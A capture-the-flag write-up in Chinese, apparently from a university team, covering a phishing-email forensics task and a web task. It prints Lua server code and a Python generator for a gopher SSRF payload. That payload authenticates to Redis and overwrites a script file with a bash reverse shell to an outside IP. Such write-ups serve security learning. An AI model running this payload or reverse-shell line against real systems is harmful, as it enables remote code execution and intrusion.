第18届全国大学生软件系统安全赛 淮北师范大学二队(华东赛区NO.25)
Misc(1/1) 钓鱼邮件 拿到一个mail.eml邮件取证文件
Notepad打开
底下有很长的base64,解码是zip文件,下载下来解压文件发现有密码,因为邮件文本内容是生日快乐,所以使用生日大字典进行爆破
解压之后,里面是个exe文件,用天穹动态分析沙箱分析
查看到异常的tcp通信,拿到ip和port,md5加密即可
Web(1/1) 代码审计 下载附件获得题目后端源码,按照靶机测试,应该是存在ssrf漏洞
可以出网,好像只能一次?
尝试访问本地文件
尝试读取flag不行,看一下附件
看到存在redis,联想到ssrf+redis可以getshll,看一下redis.conf
密码直接泄露了,不是未授权访问
main.rua内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 local function read_file (filename) local file = io .open (filename, "r" ) if not file then print ("Error: Could not open file " .. filename) return nil end local content = file:read ("*a" ) file:close () return content end local function execute_lua_code (script_content) local lua_code = script_content:match ("##LUA_START##(.-)##LUA_END##" ) if lua_code then local chunk, err = load (lua_code) if chunk then local success, result = pcall (chunk) if not success then print ("Error executing Lua code: " , result) end else print ("Error loading Lua code: " , err) end else print ("Error: No valid Lua code block found." ) end end local function main () local filename = "/scripts/visit.script" local script_content = read_file(filename) if script_content then execute_lua_code(script_content) end end main()
主要是三个功能,先读取文件内容,执行读取的脚本,加载/script下的脚本
/script下的脚本必须头和尾必须要符合匹配:
1 2 ##LUA_START## ##LUA_END##
/script/visit.script的内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 ##LUA_START## local curl = require("cURL") local redis = require("resty.redis") ngx.req.read_body() local args = ngx.req.get_uri_args() local url = args.url if not url then ngx.say("URL parameter is missing!") return end local red = redis:new() red:set_timeout (1000) local ok , err = red:connect ("127.0.0.1", 6379)if not ok then ngx.say ("Failed to connect to Redis : ", err ) return end local res , err = red:get (url )if res and res ~= ngx.null then ngx.say (res ) return end local c = curl.easy { url = url , timeout = 5, connecttimeout = 5 } local response_body = {}c:setopt_writefunction (table.insert , response_body )local ok , err = pcall (c.perform , c )if not ok then ngx.say ("Failed to perform request : ", err ) c:close () return end c:close ()local response_str = table.concat (response_body )local ok , err = red:setex (url , 3600, response_str )if not ok then ngx.say ("Failed to save response in Redis : ", err ) return end ngx.say (response_str )##LUA_END ##
确实是存在ssrf漏洞,和我们一开始测试的一样
那么在main.lua下是去读取这个文件
如果覆盖该文件为我们的脚本,就可以控制命令执行
flag文件似乎没有读取权限,那就要执行 readflag 程序
参考网上的脚本生成payload
用gpoher协议绝对路径写webshell
SSRF—gopher和dict打redis_gopher dict协议攻击redis-CSDN博客
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 import urllib.parseprotocol = "gopher://" ip = "127.0.0.1" port = "6379" shell = '''\n\n##LUA_START##os.execute("bash -c 'sh -i &>/dev/tcp/120.233.26.237/43969 0>&1'")##LUA_END##\n\n''' filename = "visit.script" path = "/scripts" passwd = "foobared" cmd = ["flushall" , "set 1 {}" .format (shell.replace(" " , "${IFS}" )), "config set dir {}" .format (path), "config set dbfilename {}" .format (filename), "save" ] if passwd: cmd.insert(0 , "AUTH {}" .format (passwd)) payload = protocol + ip + ":" + port + "/_" def redis_format (arr ): CRLF = "\r\n" redis_arr = arr.split(" " ) cmd = "" cmd += "*" + str (len (redis_arr)) for x in redis_arr: cmd += CRLF + "$" + str (len (x.replace("${IFS}" , " " ))) + CRLF + x.replace("${IFS}" , " " ) cmd += CRLF return cmd if __name__ == "__main__" : for x in cmd: payload += urllib.parse.quote(redis_format(x)) print (payload)
成功反弹shell执行 readflag